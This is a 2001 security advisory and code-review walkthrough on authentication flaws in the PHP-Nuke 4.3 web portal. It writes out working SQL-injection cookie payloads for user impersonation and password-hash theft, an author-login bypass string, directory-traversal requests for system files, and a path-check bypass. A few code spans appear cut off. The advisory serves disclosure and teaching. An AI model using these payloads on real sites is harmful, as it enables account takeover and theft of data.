-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/---- RFPlutonium to fuel your PHP-Nuke SQL hacking user logins in PHP-Nuke web portal ------------------------------------/ rain forest puppy / rfp@wiretrip.net Table of contents: -/ 1 / Standard advisory information -/ 2 / High and clean overview -/ 3 / Down and dirty explanation -/ 4 / New Year BONUS: other tricks -/ 5 / Resolution -------------------------------------------------------------------------- Disclaimer: no one is forcing you to read this; stop if you don't want to. -------------------------------------------------------------------------- -/ 1 / Standard advisory information /------------------------------------ Software package: PHP-Nuke Vendor homepage: www.phpnuke.org Version tested: 4.3 Platforms: Platform-independent (PHP) Vendor contacted: 12/29/2000 CVE candidate: CAN-2001-0001 Vulnerability type: Authentication weaknesses (user and admin) RFPolicy v2: http://www.wiretrip.net/rfp/policy.html Prior problems: Admin authentication bypass, Aug 2000 BID: 1592 CVE: CVE-2000-0745 SAC: 00.35.032 Current version: 4.4 (may still be vulnerable; not tested) -/ 2 / High and clean overview /------------------------------------------ PHP-Nuke is a pretty groovy web portal/news system written in PHP. I was actually so impressed with its look, and even more so by some of its features, that I decided to use it for two upcoming projects, and like any other piece of code I decide to use, I gave it a quick code review (via la open source!). While I was happy with the code in general, it did exhibit a few security problems involving tampering with SQL statements. Rather than write a five-line text saying "PHP-Nuke is exploitable ...blah...blah", I feel it is much more advantageous, from an educational standpoint, to walk through the process of how this vulnerability works. Those of you who want to see more examples of SQL hacking can take a look at RFP2K01, available at: http://www.wiretrip.net/rfp/p/doc.asp?id=42 This is also not an extremely useful hack--it allows you to impersonate other users and retrieve their password hashes. It also has a caveat that could allow an attacker to easily brute force an author (admin) password. -/ 3 / Down and dirty explanation /-------------------------------------- First off, to better aid SQL hacking, it helps to turn on SQL query logging. In MySQL, this is a matter of adding the '-l logfile' parameter to (safe_)mysqld when starting it. Next, let's take a look at the code. Since this is written in PHP and uses MySQL, our target function is mysql_query(). So let's grep for all uses of mysql_query(): [rfp@cide nuke]# ls admin/ config.php index.php print.php topics.php admin.php counter.php language scroller.js ultramode.txt article.php dhtmllib.js links.php search.php upgrades auth.inc.php faq.php mainfile.php sections.php user.php backend.php footer.php manual/ stats.php voteinclude.php banners.php friend.php memberslist.php submit.php cache/ header.php pollBooth.php themes/ comments.php images/ pollcomments.php top.php [rfp@cide nuke]# grep mysql_query * admin.php: $result = mysql_query("SELECT qid FROM queue"); .... 254 more lines of SQL queries that I don't want to print here .... Now, lets take a look at those that contain variables, since it’s possible user input is contained in those variables. For example, a few select lines from that output: article.php: mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); banners.php: mysql_query("delete from banner where bid=$bid"); comments.php: $something = mysql_query("$q"); user.php: $result = mysql_query("select email, pass from users where (uname='$uname')"); index.php: mysql_query("insert into referer values (NULL, '$referer')"); The query from article.php contains four variables: $mode, $order, $thold, and $cookie[0]. The banners.php is interesting, because it seems that the entire query is contained within the $q variable, meaning we must look inside the file to see what the value is. In doing that, we get: $q = "select tid, pid, sid, date, name, email, url, host_name, subject, comment, score, reason from comments where sid=$sid and pid=$pid"; if($thold != "") { $q .= " and score>=$thold"; } else { $q .= " and score>=0"; } if ($order==1) $q .= " order by date desc"; if ($order==2) $q .= " order by score desc"; So we see that $q used the variables $sid and $pid, and perhaps $thold, if it's defined. So what do we do now? Well, let's take a look at what is actually in some of those variables. We’ll start with the above query listed for article.php. Here is the actual code, with comments removed: 100) Both of which would greatly increase the SQL hacking aspect of MySQL. :) In the meantime, that doesn't help us (unless the site rewrote PHP-Nuke to use a different database engine, such as Postgres. But this is doubtful). This means we have the limitation of only tampering with the query given (i.e. we can't add a separate query). Since PHP escapes URL parameter variables we are also limited, unless the query contains a variable that was parsed by the script in some form (such as with cookiedecode()). Hmm, that's quite a few limitations. So let's look at the query we've been running: mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); By specifying an arbitrary uid value, we can clobber the umode, uorder, and thold values of any user. Though annoying, it is hardly a critical security problem, since umode, uorder, and thold are just the display preferences of a user. Let's look at the entire code snippet: if($save) { cookiedecode($user); mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'"); getusrinfo($user); $info = base64_encode("$userinfo[uid]:$userinfo[uname]:". "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:". "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]"); setcookie("user","$info",time()+$cookieusrtime); } After calling cookiedecode() and running the first query, there's a call to getusrinfo(), and then a bunch of the user's information is base64 encoded and sent to us as a cookie. However, notice! The $userinfo[pass] value is included! This means, if we're careful, we may possibly be sent a cookie that contains a user's password. All we need to do is get past getusrinfo(): function getusrinfo($user) { global $userinfo; $user2 = base64_decode($user); $user3 = explode(":", $user2); $result = mysql_query("select uid, name, uname, email, femail, url, pass, storynum, umode, uorder, thold, noscore, bio, ublockon, ublock, theme, commentmax from users where uname='$user3[1]' and pass='$user3[2]'"); if(mysql_num_rows($result)==1) { $userinfo = mysql_fetch_array($result); } else { echo "A problem occured
"; } return $userinfo; } Hmm, ok, let's see. Again, it takes the $user value, base64 decodes it (just like cookiedecode()), then runs a query using parts 2 and 3 from the cookie ($user3[1] and $user3[2], respectively). However, to correctly work, we need to know the right uname and pass of the target user, otherwise the SQL query will return 0 rows, and will display "A problem occured". If we already know the username and password of a user, we wouldn't be going through this, now would we? So, can we tamper with the query? We're looking to return all the user data for the record where "uname='name' and pass='password'". Perhaps if we broaden the search criteria, we can do better. Consider a query that looks like: ... where uname='name' and pass='password' or uname='name' Logically, the query is grouped like so: ... where (uname='name' and pass='password') or (uname='name') So now, if we know a user's username (which we should), but not their password, the first clause will fail; however, the second will succeed! Or at least, that's the plan.... So let's test that hypothesis. Now we need to make our $user variable contain something like: uid:username:blah' or uname='username On my system I want to target the user 'test1'. So I'm going to try the values: 1:test1:blah' or uname='test1 Now, let's encode that: [root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | uuencode -m f begin-base64 644 f MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE= ==== Put that in our query above, and try it out. Lo and behold, I'm sent a Cookie that looks like: Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D; expires=Friday, 29-Dec-00 20:14:00 GMT Now, the user value is base64 encoded. I have my own way to base64 decode stuff, but to be compatible with what I've been writing (i.e. using the command line), the best way is to create a file (let's call it 'encode') with the following contents: begin-base64 666 user MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA= === Note: replace all %3D with '=', and don't include the ending ';' Now, run the following command: [root@cide nuke]# uudecode encode; cat user uudecode: encode: illegal line 1:test1:lfkSv9NQ1eklg:10:rain:0:0:0 And there we go--that's the uid, username, password, etc of the target user (test1). Now, before you think that I use *really* strong passwords, you should know that PHP-Nuke uses password hashing. That means you'll have to crack the password hash to get the actual password. But does that matter? I'm going to hop over to user.php. User.php is the script that manages user information, including login, new user registrations, user information changes, etc. Particularly, what does it take to change a user's information? Well, let's see: function edituser() { global $user, $userinfo; include("header.php"); getusrinfo($user); nav(); ?>

" size=30 maxlength=60>
... Hmmm, so it includes header.php (which just inserts the correct heading HTML for the user's preferred theme). Then it calls getusrinfo(). Well, we just went through how we can abuse getusrinfo() to set $userinfo to any value. After edituser() calls getuserinfo(), it then calls nav(), followed by starting to print out all the user's information. So, it seems, if we have the valid user cookie, we can successfully become that user--we don't even need to crack the password. But the edituser() function is called when we want to view information. If we want to modify a user's information, we'd have to get past the saveuser() function, which starts off with: function saveuser($uid, $name, $uname, $email, $femail, $url, $pass, $vpass, $bio) { global $user, $cookie, $userinfo, $EditedMessage, $system, $minpass; cookiedecode($user); // Vulnerability fix thanks to DrBrain $user_check=$cookie[1]; $result=mysql_query("select uid from users where uname='$user_check'"); $vuid=mysql_result($result,0,"uid"); if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) { ... Of course, what's interesting about this is that it was already 'fixed' for a security vulnerability. Let's take a look at what the code is doing... cookiedecode() decodes the $user value into the $cookie array. We supply the $uid, $user, and $uname values. So the pseudo-code for this looks like: - Decode $user into $cookie array - Look up the uid of the user given in $cookie (from $user, which we supply) - If the username in $cookie (which we give) matches the username in $uname (which we give), and the $uid (which we give) matches the uid of the username given in $cookie (which we give), then proceed It seems the actual crux of this code makes sure our supplied cookie matches the username we're giving as a parameter, and that we know the correct userid (uid) to go along with our target username. If we go back up to the edituser() above, you'll find out that the uid of the username queried is returned as a hidden field (I didn't include that snippet of code). So we can do a query to edituser() to get the uid, and then to saveuser() with the approriate cookie, uname, and uid values. But of course, what good does that do? Sure, we can take over user accounts. But the gem would be something with administrative access, which in PHP-Nuke's case, are considered 'authors'. So what do we know about author accounts? Taking a peek in nuke.sql, which is the initial SQL script for PHP-Nuke, we see that author and user information are kept in separate tables--that means we need to find a SQL query that is querying the author table specifically. So, let's see: [root@cide nuke]# grep mysql_query *|grep author admin.php: $result = mysql_query("select radminarticle, radmintopic,radminleft,radminright,radminuser,radminmain, radminsurvey,radminsection,radminlink,radminephem,radminfilem, radminhead,radminsuper from authors where aid='$aid'"); auth.inc.php: $result=mysql_query("select pwd from authors where aid='$aid'"); auth.inc.php: $result=mysql_query("select pwd from authors where aid='$aid'"); mainfile.php: $holder = mysql_query("SELECT url, email FROM authors where aid='$aid'"); mainfile.php: mysql_query("insert into stories values (NULL, '$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic', '$author', '$notes')"); search.php: $thing = mysql_query("select aid from authors order by aid"); stats.php:$result = mysql_query("select * from authors"); top.php:$result = mysql_query("select aid, counter from authors order by counter DESC limit 0,$top"); Hmm, so only 8 hits. The second query in mainfile.php doesn't actually query the “author” table, and the stats.php doesn't include any variables, so those can be scratched. Top.php is severely limited--if MySQL allowed extra queries to be appended (like I've discussed in the past and above), then it would have possibility; but in our case, it doesn't, so we don't need to spend time on it. Mainfile.php doesn't retrieve any interesting information from the “author” table, so we can't really abuse it. So that leaves us with admin.php and auth.inc.php. Admin.php is the page where administrators log in and perform administrative functions. The first thing admin.php does is call auth.inc.php, so that means, essentially, we need to fool auth.inc.php to do anything we want. Now, there are two pieces to auth.inc.php...the initial login, and the standard author password check: initial login: if ((isset($aid)) && (isset($pwd)) && ($op == "login")) { if($aid!="" AND $pwd!="") { $result=mysql_query("select pwd from authors where aid='$aid'"); list($pass)=mysql_fetch_row($result); if($pass == $pwd) { $admin = base64_encode("$aid:$pwd"); setcookie("admin","$admin",time()+2592000); } } } standard author password check: if(isset($admin)) { $admin = base64_decode($admin); $admin = explode(":", $admin); $aid = "$admin[0]"; $pwd = "$admin[1]"; if ($aid=="" || $pwd=="") { $admintest=0; echo .... bunch of HTML ....; exit; } $result=mysql_query("select pwd from authors where aid='$aid'"); if(!$result) { echo "Selection from database failed!"; exit; } else { list($pass)=mysql_fetch_row($result); if($pass == $pwd && $pass != "") { $admintest = 1; } } } Now, what's interesting about the initial login snippet is that, like article.php, if we can trick it into thinking we're the user, it will return to us a cookie with the username and password. However, to get author status, we need to trick the standard author password check snippet into setting $admintest=1. Looking at the initial login snippet, we see that we need to tamper with the $aid parameter; but, as discussed earlier, PHP doesn't allow us to include SQL escaping tricks, so it's a relative dead end. Now the other snippet pulls those values from the $admin 'cookie' value, which we know we can tamper with (as seen earlier). So we're really left dealing with the following query: $result=mysql_query("select pwd from authors where aid='$aid'"); And we must meet this requirement: if($pass == $pwd && $pass != "") { Hmm, that's tough. We must somehow manipulate the query to return a known value, that cannot be blank. Given the query, it will only return values in the 'pwd' column. Heck, if we knew those values already, we wouldn't need to be doing this. So I sat stumped, trying to figure out what to do. Then something occurred to me. We need to know the value the query is going to return. That value needs to be the password of an existing author. So, what if we did a search for the password? Imagine this query: select pwd from authors where aid='arbitrary' or pwd='password' This would perform a query and select records where aid had a value of 'arbitrary' or password had a value of 'password'. Hmmm. So what good is that? What's advantageous about this is that it will match if *any* author has the 'password' (or whatever we specify) as their password. We can manipulate it by supplying an aid value of: ' or pwd='common_password So then if any author has a password that matches what we sent (common_password in this case), the $pwd variable is sent to 'common_password'. If we also set pass=commmon_password, then $pass==$pwd, and we're authenticated as an author. Actually, we're authenticated as the author that has the password we supplied. PHP-Nuke does allow different 'rights' to be set for each author, and we many not have rights to do anything, but still, we have author status. That's all this exercise was meant for. Before you become really disappointed, you should take a look at some of the options available to authors. Surprisingly, no rights are required to do such things as run 'env' (which essentially gives you php_info()), 'show' (view arbitrary files viewable by the webserver's uid), 'chdr' (get nicely formatted directory listings), 'edit' (write contents into files writable by the webserver's uid), etc. As far as SQL hacking goes, that's it for PHP-Nuke. Hope you enjoyed the long example! -/ 4 / New Year BONUS: other tricks /------------------------------------ PHP-Nuke includes a few other things that I felt would be nifty to point out, in regards to this being an educational walk-through in reviewing PHP code. When I sit down to review some code, the first things I look at are system-interaction functions--particularly filesystem interaction and command execution. In PHP, some of the target functions include: exec() - run external commands passthru() - run external commands system() - run external commands fopen() - open a file (or URL) readfile() - output a file (or URL) include() - include a file (or URL) include_once() - (same as include) The first three deal with executing programs. The other four deal with reading files. Note that require()/require_once() are expanded on initialization, meaning there is no room to tamper with them during execution and therefore they are not reviewed. So, how do I start evaluating the use of these functions? The easiest place to start is grep: [root@cide nuke]# grep exec * stats.php:$time = (exec("date")); stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n"; stats.php:exec ("df", $x); Hmm, three hits. However, none of them contain any variables (the $x in the 'df' one is for output), so we can't tamper with any of them. Moving on...passthru() doesn't yeild any hits. System() yeilds some hits, but they are mostly text and variable names--no actual use of the system() function. So let's move on to the file functions. What's unique to PHP is that you can actually supply an URL to a file function, and PHP will remotely fetch it and use it. So this gives us the added bonus of possibly being able to pull in code from external systems--a fun feature indeed! So let's see: [root@cide nuke]# grep fopen * admin.php: $fp=fopen($basedir.$file,"w"); admin.php: $fp=fopen($basedir.$file,"r"); admin.php: $fp=fopen($basedir.$filelocation,"w"); mainfile.php: $file = fopen("$ultra", "w"); mainfile.php: $fpread = fopen($headlinesurl, 'r'); mainfile.php: $fpwrite = fopen($cache_file, 'w'); Hmm, well the admin.phps are promising, pending on where $basedir and $file/$filelocation are defined. Same with mainfile.php and $headlines/$cache_file. So looking at admin.php we see that $basedir is defined at: $basedir = dirname($SCRIPT_FILENAME); This is essentially the directory where the script is. Looking around, you can see that $file is not defined anywhere, meaning we can specify it in the URL parameters! Looking at the 'show' and 'edit' operations in admin.php, our hunch is right--'show' will open the file specified by $basedir.$file, just like edit. We can't really control $basedir, but we can control $file. So if we use '..' (otherwise known as "reverse directory traversal", and **NOT TRANSVERSAL**!...'traverse' means to move or travel along...'transverse' means to be crosswise or at an angle with. Sorry, pet peeve.) That means calling the 'edit' operation in admin.php with a file parameter set to something like '../../../../etc/hosts' allows us to view the contents of the system's hosts file. The other fopen's can be abused in the same manner. So let’s move on to mainfile.php. Looking at $headlinesurl: $result = mysql_query("select sitename, url, headlinesurl from headlines where status=1"); while (list($sitename, $url, $headlinesurl) = mysql_fetch_row($result)) { It’s a static query into the headlines table. Unless we can insert values into the headlines database, it's not much good to us. $cache_file is defined as: $cache_file = "cache/$sitename.cache"; using the $sitename from the same query as $headlinesurl. Moving on to include_once() and readfile(), returns zero hits. But include() is used a lot...in fact, it’s used 355 times. But that's because it's used to include other files, particularly the header and footer of the theme, etc. Considering we're only interested in include()'s that contain variables, we can filter out the cruft and keep the interesting ones: footer.php: include("themes/$cookie[9]/footer.php"); footer.php: include("themes/$Default_Theme/footer.php"); header.php: include("themes/$cookie[9]/theme.php"); header.php: include("themes/$cookie[9]/header.php"); header.php: include("themes/$Default_Theme/theme.php"); header.php: include("themes/$Default_Theme/header.php"); mainfile.php: include("language/lang-$language.php"); mainfile.php: include($cache_file); header.php and footer.php use the include()'s to include the appropriate file for the user's preferred theme (or uses the $Default_Theme if not specified). $language and $cache_file are also defined in mainfile.php, so mainfile.php is a dead end. Let's look at header.php. The relevant code looks like: if (!isset($index)) { include("config.php"); global $artpage, $topic; } else { global $site_font, $sitename, $artpage, $topic, $banners, $Default_Theme, $uimages; } .... if(isset($user)) { $user2 = base64_decode($user); $cookie = explode(":", $user2); if($cookie[9]=="") $cookie[9]=$Default_Theme; if(isset($theme)) $cookie[9]=$theme; include("themes/$cookie[9]/theme.php"); include("themes/$cookie[9]/header.php"); } else { include("themes/$Default_Theme/theme.php"); include("themes/$Default_Theme/header.php"); } So here we see the include is using $cookie[9] if $user is set, or $Default_Theme if not. $Default_Theme is defined in config.php, which is included above if $index is not defined. Did you get that? Perhaps you should read it again..."$Default_Theme is defined in config.php, which is included above if $index is not defined." Huh. So if we define $index (by including index=1 in our URL), config.php is NOT included, and therefore we can specify an arbitrary $Default_Theme value in the URL as well. Let's test this. I'm going to request the following URL: /header.php?index=1&Default_Theme=rain.forest.puppy I'm greeted with the following PHP errors: Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for inclusion (include_path='') in /home/httpd/html/nuke/header.php on line 97 Warning: Failed opening 'themes/rain.forest.puppy/header.php' for inclusion (include_path='') in /home/httpd/html/nuke/header.php on line 98 Wow, it worked. So, can we submit values for Default_Theme that would allow us to include arbitrary files? Unfortunately the 'themes/' is prefixed, so we can't use PHP's cool remote-URL-fetch-file-include feature. We can definately use '..' notation to go into parent directories. However, the problem is that '/theme.php' is always appended to whatever we submit. We can't view '../../../../etc/hosts' because the final include() is called with the value: themes/../../../../etc/hosts/theme.php So we need to somehow ditch the extra '/theme.php' that's being appended. Those of you who read my Phrack 55 article ("Perl CGI Problems") may recall the 'Poison Null Byte' scenario I talked about. For those of you who haven't read it, a copy is available at: http://www.wiretrip.net/rfp/p/doc.asp?id=6 The Poison Null Byte scenario involves submitting a NULL character in an attempt to get the application to ignore the extra appended crap. The theory goes something like this: - I submit: ../../../../etc/hosts ( is the NULL character, and not the 6-character string ) - The application puts it all together into: themes/../../../../etc/hosts/theme.php - The application gives it to the sytem to include() - The system reads up the NULL byte, and stops there, since system functions are built to stop processing a string once a NULL byte is reached - Since the system stops at the NULL byte, they are effectively opening themes/../../../../etc/hosts So I tried it. And it doesn't work. In fact, I tried all 255 values (every possible character)--nadda. PHP is smart and doesn't fall for that trick. So this attack won't work, unless someone knows some way to fool PHP like you can fool the other scripting languages. But I thought it had some educational value and was worth mentioning. There is one last thing I’d like to point out. The admin.php script include()'s a bunch of supporting scripts found in the /admin/ directory. Each of these scripts includes a 'safety check' that looks like: if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); } This essentially scans the URL to see if admin.php is the file being used (i.e. we're calling admin.php, and admin.php is then include()'ing the file, versus us calling it directly). However, the regex performed by eregi doesn't work--all it cares about is that admin.php is included *somewhere* in the URL. Imagine the following request: /admin/authors.php/admin.php This will actually call the /admin/authors.php (which contains the above safety check). The extra '/admin.php' is superfluous and not used. But the regex performed by eregi() will still see the extra '/admin.php' part, and therefore it will check out OK. So the check was subverted. However, there is nothing usable (that I saw) in any of the /admin/ files, and the SQL queries won't work since the SQL connection info is defined in config.php, which is included via admin.php (and not in any of the individual /admin/ files). But it was still interesting to point out why this method of checking doesn't necessarily work. -/ 5 / Resolution /------------------------------------------------------ Well, as indicated at the start of this document, I contacted the author on Dec 29, 2000. Unfortunately, I believe the author misunderstands my intentions. The authors view, in regards to security, can be viewed at the following two locations: http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0 http://www.securityfocus.com/archive/1/162261 Of course, his point is valid: people point out flaws, and don't help fix them. I offered my assistance in patching, but he was rather nonplussed in communication with me. Which is awkward, because I want to use PHP-Nuke. To date, I've spent some 30-odd total hours of my freetime patching the code. However, at the same time, PHP-Nuke 4.4 was about to be released. What I *didn't* want to do was create a code fork by releasing security patches for 4.3 in parallel with 4.4. So the delay in this advisory release was to wait for 4.4, and give the author a chance to fix the problems he was notified about. So the final resolution? PHP-Nuke 4.4 was released on Feb 8, 2001. The author knew about the problem for 40+ days. The fixes may or may not be in version 4.4. If they are, kudos for PHP-Nuke. If not, well, you be the judge. -/ acks /---------------------------------------------------------------- Special thanks to Zope Kitten for fixin' muh spelin' -----/ RFP2101 /-----------/ rfp.labs / wiretrip / rfp@wiretrip.net /----